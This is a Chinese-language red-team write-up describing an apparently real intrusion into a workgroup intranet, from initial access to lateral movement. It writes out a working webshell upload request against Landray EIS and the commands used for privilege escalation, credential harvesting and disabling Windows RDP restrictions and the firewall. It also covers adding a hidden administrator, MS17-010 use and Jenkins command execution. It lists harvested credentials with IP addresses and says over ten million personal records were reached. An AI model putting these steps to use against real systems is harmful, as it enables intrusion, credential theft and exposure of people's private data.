0x01 前言
拿下的这个目标是进行,仅做记录切勿用于非法用途。
0x02 初始访问
通过Hunter去收集资产,发现存在Metabase以及蓝凌EIS协同平台。通过Nday先测试这个Metabase的 CVE-2023-38646 发现不存在,应该是已经修复。随即我们直接测试这个蓝凌EIS。历史的SQL注入以及RCE。
* SQL注入:/third/DingTalk/Demo/ShowUserInfo.aspx?account=1';WAITFOR+DELAY+'0:0:5'-- ##存在
* RCE :/frm/frm_form_upload.aspx ##存在
这里发现其实SQL注入可以使用堆叠XP_CMDSHELL,不过我这里直接使用这个RCE任意文件上传拿了shell。
如果响应为500
或者200
即存在相关漏洞,如果响应为302
则不存在漏洞。
那么如何复现该漏洞?首先请求一下首页获取相对应的Cookie值拼接FIOA_IMG_FOLDER=FI; Lang=zh-cn;
然后再请求/frm/frm_form_upload.aspx
查找 __VIEWSTATE 值后构造上传请求
POST http://oa.xxx.com/frm/frm_form_upload.aspx HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=r25z3sdm2ndxgz2v4izjmmff; FIOA_IMG_FOLDER=FI; Lang=zh-cn;
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Length: 618
------WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Disposition: form-data; name="__VIEWSTATE"
获取的 __VIEWSTATE 值
------WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Disposition: form-data; name="__EVENTTARGET"
GB_SAVE
------WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Disposition: form-data; name="__EVENTARGUMENT"
保存
------WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Disposition: form-data; name="tpfile"; filename="xnwafhpcm.aspx"
Content-Type: image/png
hahahaha
------WebKitFormBoundary4xAm1IjMRbc3Azqd--
看到响应结果,成功获得Webshell
那我们就得开始收集凭证以及反弹shell到C2 (这里我使用POwershell成功反弹到CS当中)
0x03 信息收集与提权
我们先通过 ipconfig /all 来初步判断当前是否是域环境
既然是工作组环境那么我们就针对工作组环境来进行信息收集
#备忘录
whoami /user && whoami /priv
systeminfo
hostname
wmic OS get Caption,CSDVersion,OSArchitecture,Version
tasklist
wmic product get name,version
基本的命令就是这些,其实也可以使用我的工具 NetInfo 来进行初步的信息收集
https://github.com/cc7v/NetInfo
其他图片我就不一一截图的,总结收集到的信息:当前环境为工作组,是一台2012的机器并且有大量补丁,不过开启了3389端口以及不存在杀软。
那么这里通过得到的信息我们来进行权限提升,因为开启SeImpersonate权限并且没有打上相应的补丁,这里我使用 JuicyPotato
JuicyPotato 使用 CoGetInstanceFromIStorage 触发远程调用,CoGetInstanceFromIStorage 是一个 Windows API 函数,用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例,并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。Juicy Potato 支持指定任意本地端口,但是 RPC 一般默认为135端口,很少被修改
-
使用 DCOM 时,如果以服务的方式远程连接,那么权限为 System,例如 BITS 服务 -
使用 DCOM 可以通过 TCP 连接到本机的一个端口,发起 NTLM 认证,该认证可以被重放 -
LocalService 用户默认具有 SeImpersonate 和 SeAssignPrimaryToken 权限 -
开启 SeImpersonate 权限后,能够在调用 CreateProcessWithToken 时,传入新的 Token 创建新的进程 -
开启 SeAssignPrimaryToken 权限后,能够在调用 CreateProcessAsUser 时,传入新的 Token 创建新的进程
在这里 https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2012_Datacenter 选择 CLSID {8BC3F05E-D86B-11D0-A075-00C04FB68820}
进行提权
那么这个时候我们可以使用SearchAll以及Mimikatz等相关来收集一下该机器的凭证。由于该机器是2012的,所以我这里通过修改注册表以及强制锁屏来获取到了相对应的密码。当然方式不局限于这种,这里我只是使用了其中一种方式
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
0x04 横向移动
上面我获取到了密码,那么我们通过SearchAll再进行对整台机器的凭证收集。
将所有盘都收集一遍然后将结果下载在本地,搜索关键词进行整理
User ID=OA;Password=password01!
userName="admin" password="adminpassword"
User ID=sa;password=sa
password = 'Yukon90_'
那么加上刚才Mimikatz获取到的机器密码,那么我们现在就可以进行密码碰洒了。看看其他段下的机器是否存在相同的密码。
由于当前机器开启了3389端口,那我们直接连接上去。对所有可利用服务进行密码喷洒。(其实我还查找过当前机器的一些敏感文件以及浏览器数据,并没有什么收获)
# SSH
131.1.2.35 root 123456
131.1.2.37 root 123456
131.1.2.20 root 123456
131.1.2.237 root 123456
这里的结果全是弱口令,但也收获了四台root权限的Linux主机。这里我们使用Socks5代理中转使用Xshell登录即可。
# SMB
131.1.2.115 guest guest
131.1.40.254 administrator infobird
131.1.2.12 test test
结果去重后发现三台主机存在弱口令。
# Mysql
131.1.2.37 root password
131.1.14.35 root 123456
131.1.2.35 root 123456
三台Mysql机器里面存在大量的个人用户敏感数据,统计为 一千多万+ 个人用户信息
其他服务并没有喷洒出什么有价值的存在。那么我们在这里尝试 MS17-010 这类漏洞。
总共有两台主机存在MS17-010,并且都是Win2003机器。针对这个机器需要利用 Metasploit 中的 auxiliary/admin/smb/ms17_010_command 并且没办法反弹shell,只能一个命令一个命令的执行。
那么一行一行执行太麻烦,那么我们可以开启3389以及添加管理员账户
* net user admin1 hack123456 /add
* net localgroup Administrators admin1 /add
* REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDeny TSConnections /t REG_DWORD /d 00000000 /f
* netsh advfirewall set allprofiles state off
那么将这些做完后我们就直接通过Sock5隧道连接过去即可
我们将整个B段存活的资产分类成不同的C段来进行WEB资产扫描以及指纹识别
图我就不一一粘贴出来,对不同C段扫描后进行整理。将WEB资产逐一访问并且尝试GetShell。
这里我们对Shiro的站点进行弱口令尝试,成功登陆后台。且在后台存在全站用户数据以及相关资料。
这里我们也通过弱口令登录到了Jenkins,实战当中,println "whoami".execute().text 经常无法执行。我们可以通过Jenkins的自身的语言写一个命令执行
def command = 'whoami'
def proc = command.execute()
proc.waitFor()
def output = proc.in.text
println(output)
以及这个内网的其他资产还存在Log4j2、CVE-2022-36883、CVE-2021-22205等其他漏洞。这里我就不把图给贴出来了。
0x05 结尾
对于工作组环境,我们要的就是不断横向拓展获取更多新的机器,并且提取凭证持续进行密码喷洒,这样才能拓展成果。
承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、PHP / JAVA / GO / Python 代码审计、渗透测试、应急响应、免杀/远控开发 等等的安全项目,请联系下方微信。
原文始发于微信公众号(不懂安全的校长):红队评估|非域内网深入详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论